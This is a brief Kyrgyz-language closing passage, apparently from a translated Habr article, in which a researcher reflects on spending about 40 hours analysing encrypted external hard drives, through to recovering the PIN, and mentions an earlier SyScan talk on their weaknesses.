Айгого эмне сунуштай аласыз? Шифрленген HDD дисктеринин бир нече моделдерин талдап чыккандан кийин, 2015-жылы мен жасадым презентация SyScan боюнча, анда ал бир нече тышкы HDD дисктеринин коопсуздук көйгөйлөрүн карап чыгып, аларда эмнени жакшыртууга боло тургандыгы боюнча сунуштарды берди. 🙂

Мен бул изилдөөгө эки дем алыш жана бир нече кечтерди өткөрдүм. Жалпысынан 40 саатка жакын. Эң башынан (дискти ачканымда) аягына чейин эсептөө (ПИН кодду таштоо). Ошол эле 40 саатка мен бул макаланы жазууга кеткен убакыт кирет. Бул абдан кызыктуу сапар болду.

Source: www.habr.com

Комментарий кошуу